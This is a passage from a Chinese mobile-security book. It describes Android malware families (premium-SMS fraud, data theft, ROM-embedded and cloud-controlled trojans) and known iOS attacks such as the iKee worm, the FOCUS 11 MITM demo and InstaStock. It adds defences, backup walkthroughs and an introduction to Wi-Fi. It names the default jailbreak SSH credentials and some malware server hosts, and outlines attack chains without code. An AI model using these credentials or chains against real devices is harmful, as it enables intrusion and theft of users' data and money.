13.3.1　ROM内置恶意软件/病毒

（1）a.privacy.devicestatservice.[盗密诡计]

该病毒通过刷ROM的形式安装到用户手机，安装后无启动图标，一旦激活便盗取信息，包括ICCID、IMEI、IMSI、MSISDN等信息，给用户的隐私造成威胁。

（2）a.payment.dg

该病毒安装后没有启动图标，病毒一旦激活便在特定的时间向某些特定的SP号码发送扣费信息，还会删除相关的反馈信息，让用户在不知情的情况下被扣除高额的话费，同时该病毒还会自动在后台连接网络，读取并且上传用户手机IMEI、IMSI和手机号码等信息，造成用户个人隐私的泄露。

（3）a.payment.pmx.[刷机吸费大盗]

该病毒安装后没有启动图标，一旦激活便在特定的时间向某些特定的SP号码发送扣费信息，删除相关的反馈信息，让用户在不知情的情况下造成严重的经济损失，同时该病毒还会自动在后台连接网络，读取并且上传用户信息，造成用户个人隐私的泄露（见图13-14）。

（4）a.privacy.ju6.[伪谷歌升级]

该病毒安装后没有启动图标，一旦激活便后台自动下载安装其他应用，还可能卸载手机应用，不但消耗用户流量，给用户带来一定的经济损失，还可能给用户带来进一步的安全隐患，同时，该病毒还会上传用户数据，跟踪用户位置，造成用户隐私泄露。

（5）a.payment.dg.a.[系统杀手]

该病毒被内置到ROM内，具有系统最高权限，不但不能通过正常途径卸载，而且能够阻止指定安全软件被安装，同时发送大量的扣费短信并删除指定号码发送的短信，给用户带来严重的经济损失。

图13-14　“刷机吸费大盗”病毒

13.3.2　破坏类恶意软件/病毒

（1）a.privacy.safesys.[root破坏王]

该病毒通常伪装成某些热门小型应用，在使用过程中会弹出root权限授予请求。如果被授予了root权限，则在后台下载其他恶意程序并静默安装，给用户手机安全造成威胁。

（2）a.privacy.atools.[万能定时器]

该病毒伪装成一款定时软件，并在运行时自动获取root权限，可能联网下载并静默安装其他恶意应用，对用户手机安全造成威胁。

（3）a.privacy.mmainservice.a

该病毒经常伪装成系统软件，启动后从后台服务器静默下载子包，在破解Root权限后进行静默安装，这一系列动作都在用户不知情的情况下完成，给用户的手机安全带来严重威胁。

（4）a.privacy.AppleService

该病毒经常伪装成游戏软件，并开机自动启动，启动后获取Root权限，以实现静默安装病毒子包，给用户的手机安全带来严重威胁。

（5）a.privacy.dbsoft.[宅男必备]

该病毒伪装成一款写真集软件诱使用户下载安装，病毒激活后利用Android系统漏洞获取root权限，通过终端设备无提示强制联网，下载并静默安装其他恶意软件。不仅消耗用户数据流量，还有可能给用户带来高额的流量费用，并可能影响手机或其他软件的正常运行和使用。

13.3.3　吸费类恶意软件/病毒

（1）a.payment.smshider.[美女勾魂吸费大盗]

该病毒以“**美女勾魂”软件名义诱惑用户下载安装，一旦激活，会获取用户的IMEI号、手机号等信息，并且会发送短信订购某些收费SP业务，同时删除发送信息，不让用户发现，很可能给用户造成严重的经济损失与个人隐私的泄露。

（2）a.payment.mj.[麻吉吸费木马]

该病毒以正常软件名义诱导用户下载安装，一旦激活便试图向多个以106开头的号码发送信息，订购了SP高额业务，同时屏蔽运营商的订购短信，在用户无法察觉的情况下带来经济损失。

（3）a.payment.keji.[饥渴吸费魔]

该病毒捆绑正常游戏软件诱导用户安装，安装主程序后启动，提示升级，用户一确认升级便安装了该病毒子包，同时该病毒尝试利用系统漏洞获取root权限，进行静默安装。病毒激活后，每隔数分钟向号码106***56发送信息，并屏蔽10086短信，同时，在后台拨打指定号码，该号码通过服务器远程设定，可能会消耗用户大量的资费，另外该病毒会终止某些安全应用，给用户的手机带来严重安全隐患。

（4）a.payment.fzbk.[吸费海盗王]

此病毒嵌入到一款国外著名的游戏软件里，散布在几个大的论坛与电子市场上，另外，病毒发作时也是隐蔽的短信扣费，扣费指令与发送时机由云端配置，但这个病毒在扣费成功后，还会向固定的几个手机号码发送扣费手机的IMEI号等信息，部分存在分成对账的可能。

（5）a.payment.zchess.[爱情连陷]

该病毒以“爱情**”名义诱导用户下载安装，每次启动都会发送扣费信息到以106开头的扣费端口，并删除回执短信，给用户造成严重的经济损失，同时该病毒还收集IMSI、地理位置等用户信息并上传到服务器，造成用户个人隐私的泄露。

13.3.4　窃取隐私类恶意软件/病毒

（1）a.remote.Netvision

该病毒安装后无图标，并且开机自启动。病毒运行后会监听手机收件箱，并根据其他接收到的指令，将收件箱中的短信内容转发到指定号码，给用户隐私带来严重安全威胁。

（2）a.remote.strategy.[隐私偷窥王]

该病毒常伪装成某些热门应用诱导用户下载安装，病毒一旦激活便会驻后台收集联系人、短信、通话记录等用户信息并上传到指定服务器，严重侵害用户隐私，同时还会尝试破解系统获取root权限，静默安装其他恶意程序或者卸载指定的安全杀毒类软件，使得用户手机可能处于不设防状态，在后续病毒侵入过程中蒙受更大的损失。

（3）a.privacy.qieqie.[窃窃]

该病毒安装后无启动图标，隐藏在用户手机中，一旦激活便后台监视用户短信信息，当用户接收到短信时该软件会将该信息转发到138******88，给用户的财产和隐私安全造成双重危害。

（4）a.remote.CarrierIQ

该病毒通常被内置到ROM，启动后将记录用户使用行为，收集用户地理位置和当前移动运营网络信息，并定时收集用户隐私信息回传到指定服务器，严重侵害用户隐私。

（5）a.privacy.mailx.[古哥]

该病毒是一款间谍软件，安装后无启动图标，并在后台自动启动程序，读取用户短信信息、通话记录和QQ聊天记录等信息，通过邮件的形式发送到指定邮箱，严重泄露用户的隐私信息。

（6）a.remote.droiddream.[隐私盗贼]

该病毒经常捆绑在一些常用软件及游戏软件上，安装后病毒会利用Android平台上的系统漏洞获取手机root权限，并在后台静默安装内嵌子包，同时搜集手机上的IMEI、IMSI、SDK等信息，发送到指定服务器并在后台下载一些其他恶意安装包，给用户的隐私带来严重安全威胁。

13.3.5　伪装类恶意软件/病毒

（1）a.payment.adsms.[伪升级扣费木马]

该病毒安装后会向多个不同的SP端口发送业务订购短信，屏蔽运营扣费通知短信，使用户在不知情的情况下产生多次扣费，该病毒还会收集用户手机号码、硬件串口等隐私信息，并传回给病毒作者，带来严重安全隐患，同时会在后台自动联网下载apk程序，可能对手机安全产生更大的危害。

（2）a.payment.live.a.[伪google服务框架]

该病毒主要通过其他恶意软件进行传播。当恶意软件安装后，会弹出所谓“用户许可协议”引导用户单击，用户单击“确定”按钮后病毒会被静默安装到手机上，并进一步深度伪装成系统关键程序，即“Google服务框架”，高度模拟系统程序的图标，名称描述有细微差别，表面上跟一般的系统关键程序无异，单看表面甚至还有可能骗过专业工程师的眼睛，对于一般的手机用户更可能是完全“隐形”。它属于独立封装式伪装类病毒。

（3）a.payment.hippo.[伪酷6视频]

该病毒以“酷6视*”名义诱导用户下载安装，每次启动该病毒程序，便自动后台发送“8”到“10661566**”扣费端口，同时删除“10”开头的号码发送的短信，让用户在不知情的情况下产生严重的经济损失。

13.3.6　云更新类恶意软件/病毒

（1）a.remote.i22hk.[云指令推手]

该病毒一旦激活便自动后台上传IMEI、IMSI等信息到http://www.***.hk并获取云端指令控制用户手机，屏蔽指定号码发送的短信，同时会修改浏览器书签以及联网下载未知程序，对用户手机安全造成严重威胁。

（2）a.payment.ms

该病毒注入正常的应用诱导用户下载使用，自动激活后在后台随机向指定的SP端口号发送扣费短信，同时屏蔽SP商的确认短信，可能会给用户造成严重的经济损失。该病毒服务器地址为 http://213.*.*.176/**/trs ，病毒会把云端指令的操作记录发送到指定的手机号，泄露用户隐私，具有严重的安全隐患。

（3）a.payment.flashp

该病毒伪装成一款手机工具，诱导用户进行下载，病毒安装后会定时从 http://cru***.net/flash 拉取云端指令，获取扣费端口号和扣费短信内容，并实施发送扣费短信的恶意行为，同时删除指定端口发送的短信，让用户在完全不知情的情况下，恶意扣取用户资费，给用户带来严重的经济损失。

（4）a.payment.dg.a.[系统杀手]

该病毒被内置到ROM内，具有系统最高权限，不但不能通过正常途径卸载，而且能够阻止指定安全软件（指定的安全软件是由云端指令拉取的）安装，同时发送大量的扣费短信并删除指定号码发送的短信，给用户带来严重的经济损失。

（5）a.remote.jz.[变形偷窥王]

该病毒常吸附在被篡改过的知名软件特别是益智类游戏中，病毒激活后会驻后台发送短信，泄露用户隐私，同时，根据服务器返回的指令执行后台拨打电话，在用户毫不知情的情况下肆意消耗用户资费，通过云端控制将不明软件安装在用户手机中并卸载干扰病毒运行的其他软件，驻后台悄悄地自动记录本机所有的短信内容和通话记录，分别存放在名为zjphonecall.txt和zjsms.txt的文件中，并且定期上传到指定的服务器lebar.gicp.net，严重侵害用户的隐私。

（6）a.payment.keji.[饥渴吸费魔]

此病毒嵌入了许多款的正常软件中，这些软件曾经遍布多个大论坛与电子市场，发作时，除了由云端配置隐蔽的短信扣费外，还会偷偷盗打IVR电话，此病毒的发现，表明吸费已经从短信横向跨跃到IVR了。

（7）a.payment.fzbk.[吸费海盗王]

前文已有描述，此处不再赘述。

13.3.7　诱骗类恶意软件/病毒

（1）a.system.go360.[图标密雷]

该病毒伪装成拼图游戏应用诱导用户下载安装，启动后会自动在桌面生成若干程序图标，单击图标提示软件更新，诱导用户下载其他恶意应用，给用户的手机安全造成威胁。

（2）a.consumption.Lightdd

该病毒伪装成系统通知，诱骗用户单击，用户一旦单击便自动下载其他恶意程序，不但大量消耗用户流量，给用户带来一定的经济损失，同时给用户的手机造成安全威胁。

（3）a.privacy.Fabrbot

该病毒捆绑正常软件诱导用户安装，安装主程序后启动，提示升级，用户一确认升级便安装了该病毒子包com.an***id.ba***y，但该apk没有图标，能读取通信录等私密信息，并且向特定号码发短信，不但造成用户隐私泄露，同时还会给用户的手机带来严重安全隐患。

（4）a.consumption.iddIx.[伪google系统升级服务]

该病毒激活后便在后台无提示自动联网下载病毒子包，消耗用户流量，给用户带来一定的经济损失，下载完成后不定时提示“系统更新”，一旦用户单击，便安装病毒子包，下载的病毒子包可能给用户带来严重的安全威胁，若用户不单击，该病毒便不定时提示，严重影响用户正常使用。

（5）a.consumption.notifier

该病毒伪装成一款工具软件，安装后当用户在电子市场下载安装软件时，病毒便会在手机的系统通知栏提示其他软件的安装通知，诱导用户下载安装其他恶意软件，可能消耗大量的数据流量，给用户带来经济损失和手机安全隐患。

（6）a.consumption.menu

病毒以“menu”为名骗取用户进行下载，安装后无桌面图标显示，同时，病毒启动后会弹出通知栏，诱导下载安装其他恶意软件，用户一旦确认将可能消耗大量数据套餐流量，带来严重的经济损失。

第14章　iOS操作系统的常见应用及安全

iOS是由苹果公司为iPhone开发的操作系统。它主要是给iPhone、iPod touch以及iPad使用。iOS与苹果的Mac OS X操作系统一样，属于类Unix的商业操作系统。原本这个系统名为iPhone OS，直到2010年6月7日WWDC大会上宣布改名为iOS。

主要内容：

●针对iOS的攻击曝光

●备份和恢复iPhone/iPad/iPod数据

14.1　针对iOS的攻击曝光

14.1.1　iKee攻击与防范

1.iKee攻击曝光

iPhone在越狱后会破坏设备的整体安全架构。越狱后的系统禁用了代码签名机制，而且允许安装软件，关键还是因为运行了未签名代码，从而扩大了受攻击面，为设备增加了系统实用程序（比如shell），允许安装以root用户权限运行的应用。而关闭了代码签名机制，也就关掉了强有力的DEP。也就是说，ROP有效载荷可以禁用DEP，并在越狱过的设备上写入和执行shellcode。最后，新的未签名应用是不受沙盒限制的。因此，越狱基本上会关闭iPhone的所有安全机制，而不只是代码签名。

因此，越狱过的iPhone会成为漏洞攻击的目标也就不足为奇了。iKee蠕虫（又名Dutch ransom、iPhone/Privacy.A或Duh/iKee.B）就利用了很多用户为iPhone越狱后安装了SSH服务器却没有修改默认root密码这一事实。这意味着任何连接到这种设备的人都能用root权限远程控制这些设备。有了这些条件，编写蠕虫就不是什么难事了。

2009年11月，第一个攻击iOS的蠕虫病毒被检测到，这种病毒就是iKee。它扫描到分配给荷兰和澳大利亚的电信运营商的IP块就会自动运行。扫描的逻辑直截了当：当设备开启了TCP22端口（SSH），并尝试使用默认证书“root”和“alpine”（越狱iPhone最常见的默认账户）时进行登录。

该蠕虫的变种如iKee.A在登录之后会执行一些基本操作，如关闭用户访问的SSH服务器、改变手机的墙纸，以及将蠕虫二进制代码复制到设备本地。此时，被感染的设备就可以用于扫描和感染其他设备。像iKee.B之类的后续变种引入了类似僵尸网络的功能，通过命令和控制信道来远程控制被感染的设备。

图14-1所示为被iKee感染的设备，墙纸被设置成了20世纪80年代英国流行歌手Rick Astley的照片。

图14-1　被iKee感染的设备

2.针对iKee蠕虫/SSH的默认证书攻击的防范

发生iKee蠕虫的主要原因就是错误配置的越狱iPhone连接到了网络中。第一个防范此类攻击的措施就是，不要越狱你的iPhone。如果必须要越狱，也要在安装SSH后马上修改越狱设备上的默认证书，即登录账号和口令，并确保只连接到可信任的网络。另外，像SSH之类的网络服务只有当有需要的时候才开启。可以安装比如SBSetting之类的实用工具，SpringBoard可以用来快速开启或关闭像SSH之类的功能。否则，对于一般的越狱设备来说，只要有可能，必须确保设备更新为对应iOS的最新越狱版本，同时及时安装由越狱社区提供的针对漏洞的补丁。

14.1.2　中间人攻击与防范

1.中间人攻击的定义

中间人攻击（Man-in-the-Middle Attack，简称“MITM攻击”）是一种“间接”的入侵攻击，这种攻击模式是通过各种技术手段将受入侵者控制的一台计算机虚拟放置在网络连接中的两台通信计算机之间，这台计算机就称为“中间人”。然后入侵者把这台计算机模拟一台或两台原始计算机，使“中间人”能够与原始计算机建立活动连接并允许其读取或修改传递的信息，然而两个原始计算机用户却认为他们是在互相通信。通常，这种“拦截数据—修改数据—发送数据”的过程就被称为“会话劫持”。

2.中间人攻击的常见攻击手法

（1）DNS欺骗

攻击者通过入侵DNS服务器、控制路由器等方法把受害者要访问的目标机器域名对应的IP解析为攻击者所控制的机器，这样受害者原本要发送给目标机器的数据就发到了攻击者的机器上，这时攻击者就可以监+听甚至修改数据，从而收集到大量的信息。

（2）ARP缓存中毒攻击

ARP缓存中毒利用了ARP协议不安全的本质。ARP协议有别于其他协议，例如DNS协议可以配置为仅接受安全动态更新，而使用ARP的设备则可以接受任何时间的更新。这意味着任何机器都可以向另一台主机发送ARP回复数据包，并迫使主机更新其ARP缓存。发送ARP回复而没有生成请求时，就被称为无效ARP。当恶意攻击者以这种方式放置一些无效ARP时，用户就会认为他们正在与另一用户通信，而实际上是与窃取信息的攻击者通信。

（3）会话劫持

会话劫持是一种结合了嗅探以及欺骗技术的攻击手段。广义上说，会话劫持就是在一次正常的通信过程中，攻击者作为第三方参与到其中，或者是在数据里加入其他信息，甚至将双方的通信模式暗中改变，即从直接联系变成有攻击者参与的联系。

简单地说，就是攻击者把自己插入到受害者和目标机器之间，并设法让受害者和目标机器之间的数据通道变为受害者和目标机器之间存在的一个看起来像“中转站”的代理机器（攻击者的机器）的数据通道，从而干涉两台机器之间的数据传输，例如监+听敏感数据、替换数据等。由于攻击者已经介入其中，他能轻易知道双方传输的数据内容，还能根据自己的意愿去左右它。这个“中转站”可以是逻辑上的，也可以是物理上的，关键在于它能否获取到通信双方的数据。常见会话劫持攻击方式：HTTP会话劫持，HTTPS会话劫持，SMB会话劫持。

3.FOCUS 11的中间人攻击

2011年10月，在拉斯维加斯举办的McAfee FOCUS11会议上，Stuart McAfee和McAfee TRACE团队演示了一系列入侵，包括针对iPad的现场入侵。

执行攻击的具体过程是，为MacBook Pro电脑安装和设置两个无线网卡，然后配置其中一个网卡来作为恶意无线接入点（WAP）。这个无线接入点被分配了一个SSID，这个SSID类似于会议中合法的无线接入点SSID。这样做是为了说明用户很容易连接到恶意的无线接入点上。然后配置桌面系统将所有来自那个恶意无线接入点的通信数据流转发到一个合法的无线接入点。这使得在桌面电脑系统上运行的工具具有了中间人通信数据流的接收和转发能力——接收或转发来自iPad的通信数据流。据Trustware SpiderLab的报道，为了让这一切更有趣，演示中还利用了CVE-2011-0228 X.509证书链验证的漏洞，为SSL连接的中间人提供了证书支持。

上述设置完成后，就用iPad来浏览Gmail（在SSL协议层上）。Gmail被加载到了iPad的浏览器中，不过邮件中增加了点东西，即iframe中含有一个到PDF文件的链接，该文件可以用来悄悄地获取设备的root权限。加载的PDF与JBME 3.0 PDF相似，但经过了修改，以避免改变SpringBoard的外观，如增加Cydia图标。然后使用该PDF来加载自定义的freeze.tar.xz文件，其中包含越狱后需要的文件以及在设备上安装SSH和VNC所需要的相应软件包。

许多人都有这样的印象，即iPhone或iPad这样的设备对各种攻击都是免疫的。这个入侵演示改变了人们这种错误的观点，因为获取iOS设备的非授权访问也是完全可能的。

这种入侵综合利用了几种漏洞攻击技术：客户端漏洞的JBME 3.0技术，SSH证书验证漏洞的攻击技术和基于局域网的攻击技术。这表明了iOS不仅可以被入侵，而且可以使用多种方法入侵。但是，攻击iOS也不是一次就能搞定的，需要利用多个漏洞发起的复杂攻击。

4.针对FOCUS 11的防范

FOCUS 11攻击利用了一组漏洞和一个恶意无线接入点，获取受影响设备的非授权访问权限。这是操作系统的几本组件被颠覆的事实，所以找到技术上能够抵御此类攻击的防范方法非常困难。

正如在“针对JBME 3.0漏洞的防范措施”中概括的那样，防范此类攻击的第一步是更新你的设备，使其保证在最新版本。另一个简单的方法就是在无线网络设置中开启“询问是否加入网络”，如图所示。对于一直的网络依然可以自动加入，但是在加入新的未知网络前用户会被询问，只有在我们同意时才会加入，从而有效避免加入到恶意网络中。FOCUS 11攻击使用了一个看似友好的无线网络名，然而却是个恶意网络，所以平日里最好不要连接到未知的无线网络中（见图14-2）。

图14-2　开启“询问是否加入网络”

14.1.3　恶意应用程序Handy Light和InstaStock的曝光与防范

1.Handy Light和InstaStock的曝光

还有许多客户端攻击方法，可以用于获取iOS的非授权访问。其中一种比较复杂的攻击方式是引诱用户在其设备上安装恶意应用程序。此攻击方法面临的挑战不仅在于欺骗用户，而且要搞定苹果公司的应用程序分发模式。众所周知，苹果是应用程序都要求有苹果公司签名，并且只能从官方的APP商店发布和下载。所以一个程序为了能够保证在APP商店中展出，它必须先交给苹果公司审核，如果审核中发现问题，比如会泄露用户信息如电话号码、联系信息等，则提交会被拒绝，这就意味着应用程序不能分发到APP商店中。

但是在2010年，一个名为Handy Light的新应用程序提交到苹果公司审查并通过，放到了App商店中销售。这个程序表面上是一个简单的闪光灯应用，用于选择光线的颜色。然而在其发布后不久，Handy Light包含一个隐藏“栓套”功能的消息就众所周知了。这个功能允许用户以特定的顺序单击闪光的颜色，随后就可以让电话开启一个SOCKS代理服务器，该服务器把一台计算机“栓套”到电话的蜂窝式网络的互联网连接上。该功能公布后，苹果公司就把该引用程序从APP商店下架了，这主要是因为苹果不允许包含支持“栓套”功能的应用程序在其APP商店中销售。然而该应用程序当时确实是躲过了苹果公司的审查。

2011年9月，著名的iOS黑客Charlie Miller提交了一个名为InstaStock的应用程序到苹果进行审查。该应用程序被审查后就通过了并发布在了App商店中供用户下载。InstaStock表面上允许用户实时跟踪股票报价，据报道有数百个用户下载了这个应用程序。而InstaStock中隐藏的逻辑被设计用来利用iOS中的一个“零天”漏洞，该漏洞允许应用程序加载并执行未签名的代码，由于存在iOS的运行代码签名验证，这本来是不可能发生的，然而，在iOS4.3中，苹果引入了使InstaStock能够魔术般实现其所必需的功能。iOS4.3中，苹果引入了在一些特殊情况下可以执行未签名代码的能力。理论上，该功能只对MobileSafari开放，并只能用于开启JavaScript的即时编译。后来的结果显示，该功能在实现上的一个错误导致该功能对所有应用程序都是开放的，而不仅仅只对MobileSafari开放。该漏洞后来归档为CVE-2011-3442，它使InstaStock应用程序能够使用特定的一组标致调用mmap系统，从而获得了避开代码签名验证的能力。有了执行未签名代码的功能，InstaStock应用程序能够回连到一个命令和控制服务器，来接收并执行命令，执行从“被感染”设备中获取联系人信息等类型的活动。

对于iOS系统，Handy Light和InstaStock应用程序告诉我们一个事实，可以通过APP商店植入一个攻击。经过这些事件，苹果公司致力改善对应用程序的审查过程，并且以后成功地隐藏恶意功能将会变得越来越困难。

2.针对APP商店恶意软件的防范

Handy Light和InstaStock的例子说明，即使从苹果的APP商店下载应用程序，仍然会存在一定的风险。所以对于存储高度敏感数据的用户来说，推荐只在确实有必要使用时才安装所需要的应用程序，而且只从有信誉的供应商处获取应用。另外，如果可能，尽量安装最新版本的固件，因为新的固件版本通常解决了可能被恶意软件用于获取设备访问权限的问题，例如JBME3.0内核漏洞利用或InstaStock未签名代码执行的问题。

14.1.4　具有漏洞的应用程序：iOS应用程序和第三方应用程序

1.具有漏洞的应用程序

2010年，一个现在归档为CVE-2010-2913的漏洞被报出来，它影响了Citi Mobile应用程序的2.0.2及其以下版本。这个报道的大意是应用程序将与银行相关的敏感信息存储在设备本地，如果设备被从远程攻击，或者设备丢失、被偷，那么敏感信息就可能在设备中被抽取。这一漏洞并未提供远程访问，且其严重性相对较轻，但却恰好说明针对iOS的第三方应用程序，像桌面系统对应的软件一样，只要与安全相关的设计存在疏忽，就会受到攻击。

另外一个第三方应用程序的漏洞，现在归档为CVE-2011-4211，即PayPal应用程序受到了一个X.509证书验证问题的影响。事实上，该应用程序并没有验证服务器主机名的值是否与为建立SSL连接而收到的X.509服务器验证书的主题字段中的值相匹配。这个漏洞允许一个具有局域网访问权限的攻击者成为中间人，从而获取或修改经由PayPal应用程序的通信数据。该漏洞比Citi Mobile漏洞更严重，因为它允许在没有控制应用程序或设备的前提下，通过局域网访问来利用这个漏洞。然而，这个漏洞的利用需要获取对局域网的访问权，这使得该漏洞在实际中的利用变得十分困难。

在2011年9月，一个跨站脚本攻击漏洞影响了Skype应用程序的3.0.1及其以下版本。该漏洞通过把JavaScript代码嵌入到发送给用户的消息中的“全名”域内，使攻击者能够访问Skype应用程序。用户的文件系统一旦接收到一条这样的消息，嵌入的JavaScript脚本就会被执行，如果与处理URI机制的问题相结合，就可以允许攻击者获取用户的文件，如联系人数据库，并传输该文件到远程系统。从某种情况来看该漏洞是相当有意思的，因为它是第三方应用程序在不需要获取局域网访问或设备物理访问的情况下也会被远程利用的第一个实例。

2012年4月，iOS上的包括Facebook以及Dropbox在内的几款流行软件受到漏洞的影响，并且导致进行身份验证的数据段存在本地设备上，而缺乏更多的安全措施。攻击者可以通过一个应用（如iExplorer）来入侵设备，浏览设备的文件系统和复制文件。这种攻击方式已经被证实。之后，攻击者还可以将文件复制到另一设备上，并且通过“借来”的证书来登录。

2012年11月，iOS上的Instagram应用程序的3.1.2版本受到了一个信息泄露漏洞的影响。这个漏洞允许能对设备网络连接进行中间人攻击的攻击者获取会话信息，并且能利用该漏洞来恢复或删除信息。

2013年1月，iOS上的ESPN ScoreCenter应用程序的3.0.0版本受到了两个漏洞的影响：一个是XSS漏洞，另一个是明文认证漏洞。这个应用程序没有对用户的输入进行审查，而且泄露了敏感数据，包括网络上未加密的用户名及密码。

无论目标应用程序是iOS捆绑应用程序还是安装的第三方应用程序，当要入侵iPhone时，获取应用程序的控制只完成了一半的工作。由于应用程序沙箱和代码签名验证的限制，即便成功获取了对一个应用程序的控制，要从目标设备获取信息还是相对困难的，这和传统的桌面系统不同，在桌面系统上一旦获取了对应用程序的控制，再获取信息的成功率非常大，甚至可以继续攻击系统中各个应用程序的执行。要真正攻陷并占领iPhone，对应用程序级的攻击必须利用内核级的漏洞攻击才可能奏效，对于那些期待破解iOS的人来说，这个难度相当高。富有经验的攻击者会倾向于重新利用内核级的漏洞。不管哪种情况，iOS默认绑定的应用程序，再加上APP商店中可以下载的超过80万种的应用程序，这些为数众多的应用程序提供了大量的攻击目标。所以在将来，针对应用程序漏洞的攻击会继续成为获取iOS设备初始访问权限的最可靠途径。

2.针对应用程序漏洞的防范

针对应用程序的漏洞，最基本的防范措施就是保证你的设备为最新版本的iOS，并保持应用程序升级到最新版本。通常来说，随着应用程序中漏洞的发现，供应商就会更新并发布修复版本。要跟踪什么时候发现了漏洞或这些漏洞何时会通过更新而被修复有一点困难，所以，最安全的方式就是尽可能保证iOS和所有安装的应用程序都是最新版本。

14.2　备份和恢复iPhone/iPad/iPod数据

14.2.1　使用iCloud备份和恢复用户数据

1.使用iCloud备份数据

步骤1：找到iPhone或者iPad上的“设置”（见图14-3），单击打开，然后找到“iCloud”（见图14-4）。

步骤2：单击“iCloud”，输入Apple ID账号和密码。如果没有账号，可单击图14-5所标识的“免费获取Apple ID”。

图14-3　找到“设置”

图14-4　在“设置”中找到“iCloud”

图14-5　单击“免费获取Apple ID”

步骤3：输入账号和密码以后，单击“登录”，系统会提示正在验证（见图14-6）。

步骤4：在系统验证完账号以后，接下来系统会询问我们，是否要把手机上的数据和iCloud合并，单击“合并”，系统会显示“正在储存”，如图14-7和图14-8所示。

图14-6　单击“登录”

图14-7　单击“合并”

图14-8　系统显示“正在储存”

步骤5：系统提示是否要启用“查找我的iPhone”，单击“好”继续（见图14-9）。

步骤6：设置好了以后，接下来单击“储存与备份”（见图14-10）。

步骤7：系统会显示我们当前iCloud备份的储存空间。单击图14-11所标识的“iCloud云备份”，让其处于打开状态。下次在我们充电，并且已经接入无线局域网时，设备就会自动进行备份数据了。

图14-9　单击“好”

图14-10　单击“储存与备份”

图14-11　单击“iCloud云备份”

步骤8：当然我们也可以选择手动备份，单击图14-12中标识的“立即备份”。如果觉得免费的备份空间不够用的话，可以单击“更改储存空间方案”，选择适合自己的空间付费购买。

2.使用iCloud还原数据

在iPhone刷机或者购买新机激活的时候，会出现如下提示界面，然后选择“从iCloud云备份恢复”即可（见图14-13）。

图14-12　单击“立即备份”

图14-13　选择“从iCloud云备份恢复”

14.2.2　使用iTunes备份和还原用户数据

1.使用iTunes备份用户数据

步骤1：把iPhone用原配USB数据线与计算机连接起来，打开iTunes软件，单击右上角的“iPhone”图标（见图14-14）。

图14-14　单击“iPhone”图标

步骤2：在iPhone的摘要界面中，单击“立即备份”按钮（见图14-15）。

步骤3：接下来就可以看到iTunes软件正在备份了（见图14-16）。

2.使用iTunes恢复用户数据

若是要恢复之前的备份，还是在摘要界面，单击“恢复备份”按钮（见图14-17）。

图14-15　单击“立即备份”按钮

图14-16　iTunes软件正在备份

图14-17　单击“立即备份”按钮

14.2.3　使用91助手备份和还原用户数据

1.使用91助手备份用户数据

在iPhone/iPad/iPod Touch已越狱的前提下，下载并安装PC端91助手。

步骤1：使用数据线将iPhone/iPad连接到计算机，打开91助手界面后，将91助手更新到最新版本。

步骤2：在91助手界面中依次单击“我的设备”>“备份还原”>“创建备份”（见图14-18）。

图14-18　创建备份

步骤3：单击“本地备份”，此时会有联系人、短信、通话记录、图片等内容可供用户选择，勾选需要备份的内容，单击“备份”按钮（见图14-19）。

图14-19　勾选备份内容后单击“备份”按钮

步骤4：此时91助手会自动进行备份，无须进行操作（见图14-20）。

步骤5：备份完成（见图14-21）。若有显示失败项目，可以单击失败详情查看。

图14-20　91助手自动备份

图14-21　备份完成

2.使用91助手还原用户数据

步骤1：在91助手界面中依次单击“我的设备”>“备份还原”>“创建备份”（见图14-22）。

图14-22　创建备份

步骤2：单击“本地还原”，选择备份包后单击“下一步”按钮（见图14-23）。

图14-23　单击“本地还原”>“下一步”

步骤3：勾选需要还原的资料，然后单击“立即还原”按钮（见图14-24）。

图14-24　单击“立即还原”按钮

步骤4：正在还原（见图14-25）。此时无须操作，并且不要断开设备。

图14-25　正在还原

步骤5：数据还原完成（见图14-26）。

图14-26　还原完成

第15章　移动Wi-Fi安全攻防

2015年的3·15晚会上，央视曝光了免费Wi-Fi的安全问题。在现场，几位工程师利用伪造Wi-Fi技术窃听了台下观众的上网内容，并在大屏幕上向大家展示，相信不少读者看了都心惊胆战的。

无线路由器已经越来越普及，大多数用笔记本或者只能用手机的人，都希望能直接用Wi-Fi连接上网，方便、省流量。本章将向用户介绍路由器基本设置及Wi-Fi安全攻防。

主要内容：

●认识Wi-Fi

●智能手机的Wi-Fi连接

●Wi-Fi密码破解及防范

●Wi-Fi安全防范措施

●无线路由器的基本设置

●无线路由器的安全设置

●Wi-Fi存在的安全风险

15.1　认识Wi-Fi

Wi-Fi是一种可以将个人计算机、手持设备（如Pad、手机）等终端以无线方式互相连接的技术，事实上它是一个高频无线电信号。

15.1.1　Wi-Fi的技术原理

无线网络在无线局域网的范畴内是指“无线相容性认证”，实质上是一种商业认证，同时也是一种无线联网技术，以前通过网线连接计算机，而无线保真则是通过无线电波来联网，常见的就是用一个无线路由器，在这个无线路由器的电波覆盖的有效范围都可以采用无线保真连接方式进行联网（见图15-1），如果无线路由器连接了一条ADSL线路或者别的上网线路，则又被称为热点。

图15-1　查看附近的无线网络

Wi-Fi是一个无线网络通信技术的品牌，由Wi-Fi联盟（Wi-Fi Alliance）所持有。目的是改善基于IEEE 802.11标准的无线网络产品之间的互通性。有人把使用IEEE 802.11系列协议的局域网就称为无线保真，甚至把无线保真等同于无线网际网络（Wi-Fi是WLAN的重要组成部分）。

15.1.2　Wi-Fi的主要功能

无线网络上网可以简单地理解为无线上网，几乎所有的智能手机、平板电脑和笔记本电脑都支持无线保真上网，是当今使用最广的一种无线网络传输技术，实际上就是把有线网络信号转换成无线信号，就如在开头为大家介绍的一样，使用无线路由器供支持其技术的相关计算机、手机、平板等接收。手机如果有无线保真功能的话，在有Wi-Fi无线信号的地方就可以不通过移动、联通的网络上网，节省流量费。

无线网络上网在大城市比较常用，虽然由无线保真技术传输的无线通信质量不是很好，数据安全性能比蓝牙差一些，传输质量也有待改进，但传输速度非常快，可以达到54 Mbps，符合个人和社会信息化的需求。无线保真最主要的优势在于不需要布线，可以不受布线条件的限制，因此非常适合移动办公用户的需要，并且由于发射信号功率低于100 MW，低于手机发射功率，所以无线保真上网相对也是最安全健康的。

但是无线保真信号也是由有线网提供的，比如家里的ADSL、小区宽带等，只要接一个无线路由器，就可以把有线信号转换成无线保真信号。国外很多发达国家城市里到处覆盖着由政府或大公司提供的无线保真信号供居民使用，我国也有许多地方实施“无线城市”工程使这项技术得到推广。在4G牌照没有发放的试点城市，许多地方使用4G转无线保真让市民试用。

15.1.3　Wi-Fi的优势

